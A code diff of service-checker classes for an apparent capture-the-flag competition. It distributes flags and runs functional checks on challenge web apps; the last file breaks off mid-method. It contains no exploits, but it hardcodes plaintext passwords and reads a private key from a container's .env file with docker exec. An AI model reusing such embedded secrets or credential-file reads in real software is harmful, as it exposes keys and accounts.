||||||
|
|
||||||
|
def check(self):
|
||||||
|
try:
|
||||||
|
word = self.random_string(8)
|
||||||
|
url = f'http://localhost:{self.port}/art/{word}'
|
||||||
|
r = requests.get(url, timeout=5)
|
||||||
|
assert r.text == f'<iframe height="100%" width="100%" frameborder="0" src=https://asciified.thelicato.io/api/v2/ascii?text={word}></iframe>', 'Unexpected response'
|
||||||
|
self.logger.info('Check passed for art')
|
||||||
|
|
||||||
|
return True
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.error(f'Could not check art: {e}')
|
||||||
|
return False
|
||||||
@@ -0,0 +1,35 @@
|
|||||||
|
from .Challenge import Challenge
|
||||||
|
from pwn import *
|
||||||
|
|
||||||
|
class BackToBasic(Challenge):
|
||||||
|
flag_location = 'flags/back-to-basic.txt'
|
||||||
|
history_location = 'history/back-to-basic.txt'
|
||||||
|
|
||||||
|
def distribute(self, flag):
|
||||||
|
try:
|
||||||
|
with open(self.flag_location, 'w') as f:
|
||||||
|
f.write(flag)
|
||||||
|
|
||||||
|
with open(self.history_location, 'a') as f:
|
||||||
|
f.write(flag + '\n')
|
||||||
|
|
||||||
|
self.logger.info(f'Flag {flag} written to {self.flag_location}')
|
||||||
|
return True
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.error(f'Could not write flag to {self.flag_location}: {e}')
|
||||||
|
return False
|
||||||
|
|
||||||
|
def check(self):
|
||||||
|
try:
|
||||||
|
r = remote("localhost",self.port)
|
||||||
|
assert b"idea?" in r.recvline(), "Failed First"
|
||||||
|
|
||||||
|
r.sendline(b"testt")
|
||||||
|
|
||||||
|
assert b"thing" in r.recvline(), "Failed Last"
|
||||||
|
|
||||||
|
return True
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.error(f'Could not check back-to-basic: {e}')
|
||||||
|
return False
|
||||||
@@ -0,0 +1,124 @@
|
|||||||
|
from .Challenge import Challenge
|
||||||
|
|
||||||
|
from fastecdsa.curve import Curve
|
||||||
|
from fastecdsa.point import Point
|
||||||
|
import requests
|
||||||
|
import time
|
||||||
|
import os
|
||||||
|
import json
|
||||||
|
|
||||||
|
|
||||||
|
class Burvesigner(Challenge):
|
||||||
|
flag_location = 'flags/burvesigner.txt'
|
||||||
|
history_location = 'history/burvesigner.txt'
|
||||||
|
priv_location = 'files/burvesigner.priv'
|
||||||
|
|
||||||
|
def distribute(self, flag):
|
||||||
|
try:
|
||||||
|
with open(self.flag_location, 'w') as f:
|
||||||
|
f.write(flag)
|
||||||
|
|
||||||
|
with open(self.priv_location, 'wb') as f:
|
||||||
|
f.write(os.urandom(256))
|
||||||
|
|
||||||
|
with open(self.history_location, 'a') as f:
|
||||||
|
f.write(flag + '\n')
|
||||||
|
|
||||||
|
self.logger.info(f'Flag {flag} written to {self.flag_location}')
|
||||||
|
return True
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.error(f'Could not write flag to {self.flag_location}: {e}')
|
||||||
|
return False
|
||||||
|
|
||||||
|
def check(self):
|
||||||
|
try:
|
||||||
|
url = f'http://localhost:{self.port}'
|
||||||
|
flag = open(self.flag_location).read()
|
||||||
|
|
||||||
|
# C1: login guest success
|
||||||
|
guest_data = {
|
||||||
|
'username': 'guest',
|
||||||
|
'password': 'guest',
|
||||||
|
}
|
||||||
|
response = requests.post(url, data=guest_data, timeout=5)
|
||||||
|
guest_token = response.cookies["token"]
|
||||||
|
assert "Welcome, guest!" in response.text, "Guest cannot login"
|
||||||
|
assert "flashes" not in response.text, "Guest cannot login"
|
||||||
|
self.logger.info(f'C1 success for burvesigner')
|
||||||
|
|
||||||
|
# C2: login admin success
|
||||||
|
admin_data = {
|
||||||
|
'username': 'merricx_number_1_fans',
|
||||||
|
'password': getattr(self.settings, f'PASSWORD_{self.port}'),
|
||||||
|
}
|
||||||
|
response = requests.post(url, data=admin_data, timeout=5)
|
||||||
|
admin_token = response.cookies["token"]
|
||||||
|
assert "Welcome, merricx_number_1_fans!" in response.text, "Admin cannot login"
|
||||||
|
assert flag in response.text, "Flag is missing in admin page"
|
||||||
|
assert "flashes" not in response.text, "Admin cannot login"
|
||||||
|
self.logger.info(f'C2 success for burvesigner')
|
||||||
|
|
||||||
|
# C3: login guest fail
|
||||||
|
guest_data = {
|
||||||
|
'username': 'guest',
|
||||||
|
'password': 'Guest',
|
||||||
|
}
|
||||||
|
response = requests.post(url, data=guest_data, timeout=5).text
|
||||||
|
assert "Welcome, guest!" not in response, "Guest with wrong credential can login"
|
||||||
|
assert "flashes" in response, "Guest with wrong credential can login"
|
||||||
|
self.logger.info(f'C3 success for burvesigner')
|
||||||
|
|
||||||
|
# C4: login admin fail
|
||||||
|
admin_data = {
|
||||||
|
'username': 'merricx_number_1_fans',
|
||||||
|
'password': 'password',
|
||||||
|
}
|
||||||
|
response = requests.post(url, data=admin_data, timeout=5).text
|
||||||
|
assert "Welcome, merricx_number_1_fans!" not in response, "Admin with wrong credential can login"
|
||||||
|
assert flag not in response, "Flag is showing in admin page with wrong credential"
|
||||||
|
assert "flashes" in response, "Admin with wrong credential can login"
|
||||||
|
self.logger.info(f'C4 success for burvesigner')
|
||||||
|
|
||||||
|
self.logger.info('calling sleep(5)')
|
||||||
|
time.sleep(5)
|
||||||
|
|
||||||
|
# C5: cek apakah token guest di C1 sudah expired atau belum
|
||||||
|
response = requests.get(url, cookies={"token": guest_token}, timeout=5)
|
||||||
|
assert "Welcome, guest!" in response.text, "Guest token expires early"
|
||||||
|
assert "flashes" not in response.text, "Guest token expires early"
|
||||||
|
self.logger.info(f'C5 success for burvesigner')
|
||||||
|
|
||||||
|
# C6: cek apakah token admin di C2 sudah expired atau belum
|
||||||
|
response = requests.get(url, cookies={"token": admin_token}, timeout=5)
|
||||||
|
assert "Welcome, merricx_number_1_fans!" in response.text, "Admin token expires early"
|
||||||
|
assert flag in response.text, "Admin token expires early"
|
||||||
|
assert "flashes" not in response.text, "Admin token expires early"
|
||||||
|
self.logger.info(f'C6 success for burvesigner')
|
||||||
|
|
||||||
|
# C7: cek endpoint /params
|
||||||
|
response = requests.get(url + "/params", timeout=5).text
|
||||||
|
response = response.replace("<pre>", "").replace("</pre>", "")
|
||||||
|
params = json.loads(response)
|
||||||
|
assert params["p"] and params["a"] and params["b"] and params["n"], "Missing p, a, b and/or n parameter(s)"
|
||||||
|
assert params["G"][0] and params["G"][1] and params["Y"][0] and params["Y"][1], "Missing G and/or Y point(s)"
|
||||||
|
self.logger.info(f'C7 success for burvesigner')
|
||||||
|
|
||||||
|
# C8: cek apakah curve C valid dan point G di C
|
||||||
|
C = Curve("burvesigner", params["p"], params["a"], params["b"], params["n"], params["G"][0], params["G"][1])
|
||||||
|
assert C.G == Point(params["G"][0], params["G"][1], C), "Point G is not valid"
|
||||||
|
self.logger.info(f'C8 success for burvesigner')
|
||||||
|
|
||||||
|
# C9: cek apakah point G * priv = Y
|
||||||
|
t = params["p"].bit_length() // 8
|
||||||
|
priv = open(self.priv_location, "rb").read()[:t]
|
||||||
|
x = int.from_bytes(priv, "little")
|
||||||
|
Y = Point(params["Y"][0], params["Y"][1], C)
|
||||||
|
assert C.G * x == Y, "Point Y is not valid"
|
||||||
|
self.logger.info(f'C9 success for burvesigner')
|
||||||
|
|
||||||
|
return True
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.error(f'Could not check burvesigner: {e}')
|
||||||
|
return False
|
||||||
@@ -0,0 +1,34 @@
|
|||||||
|
import logging
|
||||||
|
import random
|
||||||
|
import string
|
||||||
|
|
||||||
|
from config import get_settings
|
||||||
|
|
||||||
|
|
||||||
|
class Challenge(object):
|
||||||
|
name = __name__
|
||||||
|
settings = get_settings()
|
||||||
|
port = 0
|
||||||
|
|
||||||
|
def __init__(self, port):
|
||||||
|
self.port = port
|
||||||
|
self.add_logger()
|
||||||
|
|
||||||
|
def add_logger(self):
|
||||||
|
self.logger = logging.getLogger()
|
||||||
|
|
||||||
|
def random_string(self, length):
|
||||||
|
charset = string.ascii_uppercase + string.ascii_lowercase + string.digits
|
||||||
|
return ''.join(random.choice(charset) for i in range(length))
|
||||||
|
|
||||||
|
def distribute(self, flag):
|
||||||
|
raise NotImplementedError
|
||||||
|
|
||||||
|
def check(self):
|
||||||
|
raise NotImplementedError
|
||||||
|
|
||||||
|
def credentials(self):
|
||||||
|
return {
|
||||||
|
'username': 'root',
|
||||||
|
'password': getattr(self.settings, f'PASSWORD_{self.port}'),
|
||||||
|
}
|
||||||
@@ -0,0 +1,38 @@
|
|||||||
|
from .Challenge import Challenge
|
||||||
|
|
||||||
|
import requests
|
||||||
|
import os
|
||||||
|
|
||||||
|
MOCK_URL = 'http://google.com'
|
||||||
|
MOCK_DATA = '<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">'
|
||||||
|
|
||||||
|
class Crawlback(Challenge):
|
||||||
|
flag_location = 'flags/crawlback.txt'
|
||||||
|
history_location = 'history/crawlback.txt'
|
||||||
|
|
||||||
|
def distribute(self, flag):
|
||||||
|
try:
|
||||||
|
with open(self.flag_location, 'w') as f:
|
||||||
|
f.write(flag)
|
||||||
|
|
||||||
|
with open(self.history_location, 'a') as f:
|
||||||
|
f.write(flag + '\n')
|
||||||
|
|
||||||
|
self.logger.info(f'Flag {flag} written to {self.flag_location}')
|
||||||
|
return True
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.error(f'Could not write flag to {self.flag_location}: {e}')
|
||||||
|
return False
|
||||||
|
|
||||||
|
def check(self):
|
||||||
|
try:
|
||||||
|
r = requests.post(f"http://localhost:{self.port}/crawlback.php", data={'url': MOCK_URL})
|
||||||
|
|
||||||
|
assert r.text.split('\n').pop(0) == MOCK_DATA
|
||||||
|
|
||||||
|
return True
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.error(f'Could not check crawlback: {e}')
|
||||||
|
return False
|
||||||
@@ -0,0 +1,67 @@
|
|||||||
|
from .Challenge import Challenge
|
||||||
|
|
||||||
|
import requests
|
||||||
|
import zlib
|
||||||
|
import gzip
|
||||||
|
import json
|
||||||
|
|
||||||
|
MOCK_URL = 'http://google.com'
|
||||||
|
MOCK_DATA_WGET = 'Google</title>'
|
||||||
|
MOCK_DATA_CURL = '<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">'
|
||||||
|
|
||||||
|
class GemasFetcher(Challenge):
|
||||||
|
flag_location = 'flags/gemas-fetcher.txt'
|
||||||
|
history_location = 'history/gemas-fetcher.txt'
|
||||||
|
|
||||||
|
def distribute(self, flag):
|
||||||
|
try:
|
||||||
|
with open(self.flag_location, 'w') as f:
|
||||||
|
f.write(flag)
|
||||||
|
|
||||||
|
with open(self.history_location, 'a') as f:
|
||||||
|
f.write(flag + '\n')
|
||||||
|
|
||||||
|
self.logger.info(f'Flag {flag} written to {self.flag_location}')
|
||||||
|
return True
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.error(f'Could not write flag to {self.flag_location}: {e}')
|
||||||
|
return False
|
||||||
|
|
||||||
|
def check(self):
|
||||||
|
try:
|
||||||
|
sess = requests.Session()
|
||||||
|
|
||||||
|
## register
|
||||||
|
username = self.random_string(5)
|
||||||
|
password = self.random_string(5)
|
||||||
|
r = sess.post(f"http://localhost:{self.port}/auth/register", data={"username":username,"password": password}, allow_redirects=False)
|
||||||
|
assert r.headers.get("location") == "/auth/login", "Register Failed"
|
||||||
|
|
||||||
|
## login
|
||||||
|
r = sess.post(f"http://localhost:{self.port}/auth/login", data={"username":username,"password": password}, allow_redirects=False)
|
||||||
|
assert r.headers.get("location") == "/dashboard", "Login Failed"
|
||||||
|
|
||||||
|
## wget
|
||||||
|
content = {"provider": "wget","url":MOCK_URL}
|
||||||
|
files = {"file": ("visit", b"\x00\x00"+gzip.compress(zlib.compress(json.dumps(content).encode())))}
|
||||||
|
r = sess.post(f"http://localhost:{self.port}/dashboard/fetch_by_file", files=files)
|
||||||
|
assert MOCK_DATA_WGET in r.text, "wget Failed"
|
||||||
|
|
||||||
|
## curl
|
||||||
|
content = {"provider": "curl","url":MOCK_URL}
|
||||||
|
files = {"file": ("visit", b"\x00\x01"+gzip.compress(zlib.compress(json.dumps(content).encode())))}
|
||||||
|
r = sess.post(f"http://localhost:{self.port}/dashboard/fetch_by_file", files=files)
|
||||||
|
assert r.text.split('\n').pop(0) == MOCK_DATA_CURL, "curl Failed"
|
||||||
|
|
||||||
|
## python
|
||||||
|
content = {"provider": "python","url":MOCK_URL}
|
||||||
|
files = {"file": ("visit", b"\x00\x02"+gzip.compress(zlib.compress(json.dumps(content).encode())))}
|
||||||
|
r = sess.post(f"http://localhost:{self.port}/dashboard/fetch_by_file", files=files)
|
||||||
|
assert r.text.startswith('"PCFkb2N0eXBlIGh0bWw'), "python Failed"
|
||||||
|
|
||||||
|
return True
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.error(f'Could not check gemas-fetcher: {e}')
|
||||||
|
return False
|
||||||
@@ -0,0 +1,67 @@
|
|||||||
|
from .Challenge import Challenge
|
||||||
|
|
||||||
|
import requests
|
||||||
|
|
||||||
|
class GemasNotes(Challenge):
|
||||||
|
history_location = 'history/gemas-notes.txt'
|
||||||
|
host = "http://localhost:12000"
|
||||||
|
|
||||||
|
def distribute(self, flag):
|
||||||
|
try:
|
||||||
|
username = "gemasflagreceiver"
|
||||||
|
password = "AuTeEbn%.Q5$pC_ge6"
|
||||||
|
result = requests.post(f"{self.host}/flag_receiver", json={"flag": flag}, auth=(username,password)).json()
|
||||||
|
if not result.get("success"):
|
||||||
|
return False
|
||||||
|
|
||||||
|
with open(self.history_location, 'a') as f:
|
||||||
|
f.write(flag + '\n')
|
||||||
|
|
||||||
|
self.logger.info(f'Flag {flag} updated in gemas-notes database')
|
||||||
|
return True
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.error(f'Could send flag to gemas-notes challenge: {e}')
|
||||||
|
return False
|
||||||
|
|
||||||
|
def check(self):
|
||||||
|
try:
|
||||||
|
url = f'http://localhost:{self.port}'
|
||||||
|
|
||||||
|
# login
|
||||||
|
token = requests.post(f"{url}/api/login",json={"email":"checker@gemasnotes.id", "password":"uRIqCvJ<IGb;VDT14"}).json()["token"]
|
||||||
|
header = {"Authorization": f"Bearer {token}"}
|
||||||
|
|
||||||
|
# get count
|
||||||
|
old_count = requests.post(f"{url}/api/notes/count", headers=header, json={"count_by":"title", "keyword":""}).json()["count"]
|
||||||
|
|
||||||
|
# create notes
|
||||||
|
notes = {"title":self.random_string(10), "content":self.random_string(20), "tags":self.random_string(10)}
|
||||||
|
status_code = requests.put(f"{url}/api/notes", headers=header, json=notes).status_code
|
||||||
|
assert status_code in [200, 201], "Cannot Create Note"
|
||||||
|
|
||||||
|
# get notes
|
||||||
|
all_notes = requests.get(f"{url}/api/notes").json()
|
||||||
|
note = list(filter(lambda x: x["title"] == notes["title"], all_notes))
|
||||||
|
assert len(note) != 0, "Note was not created"
|
||||||
|
|
||||||
|
# get new count
|
||||||
|
new_count = requests.post(f"{url}/api/notes/count", headers=header, json={"count_by":"title", "keyword":""}).json()["count"]
|
||||||
|
assert old_count != new_count, "Invalid count"
|
||||||
|
|
||||||
|
# update notes
|
||||||
|
new_content = self.random_string(20)
|
||||||
|
notes["id"] = note[0]["id"]
|
||||||
|
notes["content"] = new_content
|
||||||
|
status_code = requests.patch(f"{url}/api/notes", headers=header, json=notes).status_code
|
||||||
|
assert status_code in [200, 204], "Cannot Update Note"
|
||||||
|
|
||||||
|
# delete notes
|
||||||
|
status_code = requests.delete(f"{url}/api/notes/{notes['id']}", headers=header, json=notes).status_code
|
||||||
|
assert status_code == 200, "Cannot Delete Note"
|
||||||
|
|
||||||
|
return True
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.error(f'Could not check gemas-notes: {e}')
|
||||||
|
return False
|
||||||
@@ -0,0 +1,42 @@
|
|||||||
|
import requests
|
||||||
|
from base64 import b64decode
|
||||||
|
|
||||||
|
from .Challenge import Challenge
|
||||||
|
|
||||||
|
|
||||||
|
class Hirnfick(Challenge):
|
||||||
|
flag_location = 'flags/hirnfick.txt'
|
||||||
|
history_location = 'history/hirnfick.txt'
|
||||||
|
|
||||||
|
def distribute(self, flag):
|
||||||
|
try:
|
||||||
|
with open(self.flag_location, 'w') as f:
|
||||||
|
f.write(flag)
|
||||||
|
|
||||||
|
with open(self.history_location, 'a') as f:
|
||||||
|
f.write(flag + '\n')
|
||||||
|
|
||||||
|
self.logger.info(f'Flag {flag} written to {self.flag_location}')
|
||||||
|
return True
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.error(
|
||||||
|
f'Could not write flag to {self.flag_location}: {e}')
|
||||||
|
return False
|
||||||
|
|
||||||
|
def check(self):
|
||||||
|
try:
|
||||||
|
res = requests.post(
|
||||||
|
f"http://localhost:{self.port}/api/run",
|
||||||
|
timeout=5,
|
||||||
|
json={
|
||||||
|
"code":
|
||||||
|
"+[-->-[>>+>-----<<]<--<---]>-.>>>+.>>..+++[.>]<<<<.+++.------.<<-.>>>>+."
|
||||||
|
})
|
||||||
|
|
||||||
|
assert b64decode(res.json()["output"]) == b"HirnFick 1.0\nHello, World!"
|
||||||
|
|
||||||
|
return True
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.error(f'Could not check hirnfick: {e}')
|
||||||
|
return False
|
||||||
@@ -0,0 +1,109 @@
|
|||||||
|
from .Challenge import Challenge
|
||||||
|
|
||||||
|
import requests
|
||||||
|
|
||||||
|
|
||||||
|
class Pasta(Challenge):
|
||||||
|
flag_location = 'flags/pasta.txt'
|
||||||
|
history_location = 'history/pasta.txt'
|
||||||
|
host = "http://localhost:13000"
|
||||||
|
|
||||||
|
def distribute(self, flag):
|
||||||
|
try:
|
||||||
|
with open(self.flag_location, 'w') as f:
|
||||||
|
f.write(flag)
|
||||||
|
|
||||||
|
with open(self.history_location, 'a') as f:
|
||||||
|
f.write(flag + '\n')
|
||||||
|
|
||||||
|
self.logger.info(f'Flag {flag} written to {self.flag_location}')
|
||||||
|
return True
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.error(f'Could not write flag to {self.flag_location}: {e}')
|
||||||
|
return False
|
||||||
|
|
||||||
|
def check(self):
|
||||||
|
try:
|
||||||
|
url = f'http://localhost:{self.port}'
|
||||||
|
username = f"checker-{self.random_string(8)}"
|
||||||
|
pwd = self.random_string(12)
|
||||||
|
flag = open(self.flag_location).read()
|
||||||
|
|
||||||
|
admin_data = {
|
||||||
|
'username': 'deomkicer_number_1_fans',
|
||||||
|
'password': getattr(self.settings, f'PASSWORD_{self.port}'),
|
||||||
|
}
|
||||||
|
|
||||||
|
# login admin and check flag
|
||||||
|
response = requests.post(
|
||||||
|
f"{url}/auth",
|
||||||
|
json=admin_data).json()
|
||||||
|
|
||||||
|
token = response.get('token')
|
||||||
|
assert token, "Token is missing in login admin"
|
||||||
|
check_flag = requests.get(f"{url}/flag", headers={'Authorization': f"Bearer {token}"}).json()
|
||||||
|
assert check_flag.get('flag') == flag, "Flag is missing/mismatch"
|
||||||
|
|
||||||
|
# register
|
||||||
|
response = requests.post(
|
||||||
|
f"{url}/register",
|
||||||
|
json={
|
||||||
|
"username": f"{username}",
|
||||||
|
"password": f"{pwd}"}).json()
|
||||||
|
|
||||||
|
assert response.get('success') == "User registered succesfully", "Register failed"
|
||||||
|
|
||||||
|
# login with version 1
|
||||||
|
response = requests.post(
|
||||||
|
f"{url}/auth?version=1",
|
||||||
|
json={
|
||||||
|
"username": f"{username}",
|
||||||
|
"password": f"{pwd}"}).json()
|
||||||
|
|
||||||
|
token = response.get('token')
|
||||||
|
assert token, "Token is missing in login v1"
|
||||||
|
check_home = requests.get(f"{url}/", headers={'Authorization': f"Bearer {token}"}).json()
|
||||||
|
assert check_home.get('username') == username, "Different username found in login v1"
|
||||||
|
|
||||||
|
# login with version 2
|
||||||
|
response = requests.post(
|
||||||
|
f"{url}/auth?version=2",
|
||||||
|
json={
|
||||||
|
"username": f"{username}",
|
||||||
|
"password": f"{pwd}"}).json()
|
||||||
|
|
||||||
|
token = response.get('token')
|
||||||
|
assert token, "Token is missing in login v2"
|
||||||
|
check_home = requests.get(f"{url}/", headers={'Authorization': f"Bearer {token}"}).json()
|
||||||
|
assert check_home.get('username') == username, "Different username found in login v2"
|
||||||
|
|
||||||
|
# login with version 3
|
||||||
|
response = requests.post(
|
||||||
|
f"{url}/auth?version=3",
|
||||||
|
json={
|
||||||
|
"username": f"{username}",
|
||||||
|
"password": f"{pwd}"}).json()
|
||||||
|
|
||||||
|
token = response.get('token')
|
||||||
|
assert token, "Token is missing in login v3"
|
||||||
|
check_home = requests.get(f"{url}/", headers={'Authorization': f"Bearer {token}"}).json()
|
||||||
|
assert check_home.get('username') == username, "Different username found in login v3"
|
||||||
|
|
||||||
|
# login with version 4
|
||||||
|
response = requests.post(
|
||||||
|
f"{url}/auth?version=4",
|
||||||
|
json={
|
||||||
|
"username": f"{username}",
|
||||||
|
"password": f"{pwd}"}).json()
|
||||||
|
|
||||||
|
token = response.get('token')
|
||||||
|
assert token, "Token is missing in login v4"
|
||||||
|
check_home = requests.get(f"{url}/", headers={'Authorization': f"Bearer {token}"}).json()
|
||||||
|
assert check_home.get('username') == username, "Different username found in login v4"
|
||||||
|
|
||||||
|
return True
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.error(f'Could not check pasta: {e}')
|
||||||
|
return False
|
||||||
@@ -0,0 +1,44 @@
|
|||||||
|
from .Challenge import Challenge
|
||||||
|
|
||||||
|
import requests
|
||||||
|
import os
|
||||||
|
|
||||||
|
|
||||||
|
class S3(Challenge):
|
||||||
|
flag_location = 'flags/s3.txt'
|
||||||
|
history_location = 'history/s3.txt'
|
||||||
|
host = 'http://localhost:20000'
|
||||||
|
|
||||||
|
def distribute(self, flag):
|
||||||
|
try:
|
||||||
|
with open(self.flag_location, 'w') as f:
|
||||||
|
f.write(flag)
|
||||||
|
|
||||||
|
with open(self.history_location, 'a') as f:
|
||||||
|
f.write(flag + '\n')
|
||||||
|
|
||||||
|
self.logger.info(f'Flag {flag} written to {self.flag_location}')
|
||||||
|
return True
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.error(f'Could not write flag to {self.flag_location}: {e}')
|
||||||
|
return False
|
||||||
|
|
||||||
|
def check(self):
|
||||||
|
try:
|
||||||
|
filename = self.random_string(8) + ".txt"
|
||||||
|
content = self.random_string(64)
|
||||||
|
|
||||||
|
r = requests.post(f"http://localhost:{self.port}/upload", files={'file': (filename, content)})
|
||||||
|
assert r.status_code == 200
|
||||||
|
assert r.text == f'Download <a href="/download?filename={filename}">here</a>'
|
||||||
|
|
||||||
|
r = requests.get(f"http://localhost:{self.port}/download?filename={filename}")
|
||||||
|
assert r.status_code == 200
|
||||||
|
assert r.text == content
|
||||||
|
|
||||||
|
return True
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.error(f'Could not check s3: {e}')
|
||||||
|
return False
|
||||||
@@ -0,0 +1,66 @@
|
|||||||
|
from .Challenge import Challenge
|
||||||
|
|
||||||
|
import io
|
||||||
|
import pandas as pd
|
||||||
|
import requests
|
||||||
|
import re
|
||||||
|
|
||||||
|
MOCK_DATA = [
|
||||||
|
{'name': 'John','age': 30, 'city': 'New York'},
|
||||||
|
{'name': 'Mary', 'age': 25, 'city': 'San Francisco'},
|
||||||
|
{'name': 'Peter', 'age': 45, 'city': 'Chicago'},
|
||||||
|
]
|
||||||
|
|
||||||
|
MOCK_RESULT = {
|
||||||
|
"Sheet1":{
|
||||||
|
"!ref":"A1:C4",
|
||||||
|
"A1":{"t":"s","v":"name","h":"name","w":"name"},"B1":{"t":"s","v":"age","h":"age","w":"age"},"C1":{"t":"s","v":"city","h":"city","w":"city"},
|
||||||
|
"A2":{"t":"s","v":"John","h":"John","w":"John"},"B2":{"t":"n","v":30,"w":"30"},"C2":{"t":"s","v":"New York","h":"New York","w":"New York"},
|
||||||
|
"A3":{"t":"s","v":"Mary","h":"Mary","w":"Mary"},"B3":{"t":"n","v":25,"w":"25"},"C3":{"t":"s","v":"San Francisco","h":"San Francisco","w":"San Francisco"},
|
||||||
|
"A4":{"t":"s","v":"Peter","h":"Peter","w":"Peter"},"B4":{"t":"n","v":45,"w":"45"},"C4":{"t":"s","v":"Chicago","h":"Chicago","w":"Chicago"},
|
||||||
|
"!margins":{"left":0.75,"right":0.75,"top":1,"bottom":1,"header":0.5,"footer":0.5}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
class XL(Challenge):
|
||||||
|
flag_location = 'flags/xl.txt'
|
||||||
|
history_location = 'history/xl.txt'
|
||||||
|
|
||||||
|
|
||||||
|
def distribute(self, flag):
|
||||||
|
try:
|
||||||
|
with open(self.flag_location, 'w') as f:
|
||||||
|
f.write(flag)
|
||||||
|
|
||||||
|
with open(self.history_location, 'a') as f:
|
||||||
|
f.write(flag + '\n')
|
||||||
|
|
||||||
|
self.logger.info(f'Flag {flag} written to {self.flag_location}')
|
||||||
|
return True
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.error(f'Could not write flag to {self.flag_location}: {e}')
|
||||||
|
return False
|
||||||
|
|
||||||
|
def check(self):
|
||||||
|
try:
|
||||||
|
url = f'http://localhost:{self.port}'
|
||||||
|
files = {'file': self.generate_mock_file()}
|
||||||
|
r = requests.post(url, files=files, timeout=5)
|
||||||
|
assert r.json() == MOCK_RESULT, 'Unexpected response'
|
||||||
|
self.logger.info('Check passed for xl')
|
||||||
|
|
||||||
|
return True
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.error(f'Could not check xl: {e}')
|
||||||
|
return False
|
||||||
|
|
||||||
|
def generate_mock_file(self):
|
||||||
|
memory_file = io.BytesIO()
|
||||||
|
|
||||||
|
df = pd.DataFrame(MOCK_DATA)
|
||||||
|
df.to_excel(memory_file, index=False)
|
||||||
|
|
||||||
|
memory_file.seek(0)
|
||||||
|
return memory_file
|
||||||
@@ -0,0 +1,105 @@
|
|||||||
|
from .Challenge import Challenge
|
||||||
|
from modules.blinkpdf import *
|
||||||
|
|
||||||
|
import io
|
||||||
|
import requests
|
||||||
|
import subprocess
|
||||||
|
import re
|
||||||
|
|
||||||
|
class BlinkPDF(Challenge):
|
||||||
|
flag_location = 'flags/blinkpdf.txt'
|
||||||
|
history_location = 'history/blinkpdf.txt'
|
||||||
|
|
||||||
|
def distribute(self, flag):
|
||||||
|
try:
|
||||||
|
with open(self.flag_location, 'w') as f:
|
||||||
|
f.write(flag)
|
||||||
|
|
||||||
|
with open(self.history_location, 'a') as f:
|
||||||
|
f.write(flag + '\n')
|
||||||
|
|
||||||
|
self.logger.info(f'Flag {flag} written to {self.flag_location}')
|
||||||
|
return True
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.error(f'Could not write flag to {self.flag_location}: {e}')
|
||||||
|
return False
|
||||||
|
|
||||||
|
def check(self):
|
||||||
|
try:
|
||||||
|
# Getting private key
|
||||||
|
container_env = subprocess.run(
|
||||||
|
["docker", "exec", "blinkpdf_container", "cat", "/opt/.env"],
|
||||||
|
capture_output=True,
|
||||||
|
text=True
|
||||||
|
).stdout.strip()
|
||||||
|
private_key = re.search(r'PRIVATE_KEY="(.+?)"', container_env).group(1)
|
||||||
|
assert len(private_key) > 0, 'Missing PRIVATE_KEY on .env'
|
||||||
|
|
||||||
|
sess = requests.Session()
|
||||||
|
|
||||||
|
# Checking C1: Login as user
|
||||||
|
url = f'http://localhost:{self.port}/login'
|
||||||
|
data = {"username": "user", "password": "user"}
|
||||||
|
r = sess.post(url, data=data, timeout=5)
|
||||||
|
assert 'Welcome to the PDF Signature App'.lower() in r.text.lower(), 'Cannot login as user'
|
||||||
|
|
||||||
|
pdfpath = 'files/blinkpdf_hellodocs.pdf'
|
||||||
|
pdfbytes = open(pdfpath, 'rb').read()
|
||||||
|
|
||||||
|
# Checking C2: Sign pdf as user
|
||||||
|
sign_url = f'http://localhost:{self.port}/sign'
|
||||||
|
r = sess.post(sign_url, timeout=5)
|
||||||
|
sendata = ('main.pdf', pdfbytes, 'application/pdf')
|
||||||
|
filedata = {'file': sendata}
|
||||||
|
r = sess.post(sign_url, files=filedata, timeout=5)
|
||||||
|
signed_pdf = r.content
|
||||||
|
assert r.status_code == 200 and 'application/pdf' in r.headers['Content-Type'], 'Signed PDF not available or incorrect content type'
|
||||||
|
signed_pdf_stream = io.BytesIO(signed_pdf)
|
||||||
|
assert verify_signature(signed_pdf_stream, private_key), 'Algorithm for signature process is changed'
|
||||||
|
|
||||||
|
# Checking C3: Verify valid pdf as user
|
||||||
|
pdf_bytes_stream = io.BytesIO(pdfbytes)
|
||||||
|
signed_pdf_stream = sign_pdf(pdf_bytes_stream, private_key)
|
||||||
|
verify_url = f'http://localhost:{self.port}/verify'
|
||||||
|
sendata = ('main_signed.pdf', signed_pdf_stream, 'application/pdf')
|
||||||
|
filedata = {'file': sendata}
|
||||||
|
r = sess.post(verify_url, files=filedata, timeout=5)
|
||||||
|
assert 'The signature is <strong>valid</strong>.' in r.text, 'Verify function not working or algoritm verify process is changed'
|
||||||
|
|
||||||
|
# Checking C3: Verify invalid pdf as user
|
||||||
|
verify_url = f'http://localhost:{self.port}/verify'
|
||||||
|
sendata = ('main_signed.pdf', pdfbytes, 'application/pdf')
|
||||||
|
filedata = {'file': sendata}
|
||||||
|
r = sess.post(verify_url, files=filedata, timeout=5)
|
||||||
|
assert 'The signature is <strong>invalid' in r.text, 'Verify function not working or algoritm verify process is changed for invalid signature'
|
||||||
|
|
||||||
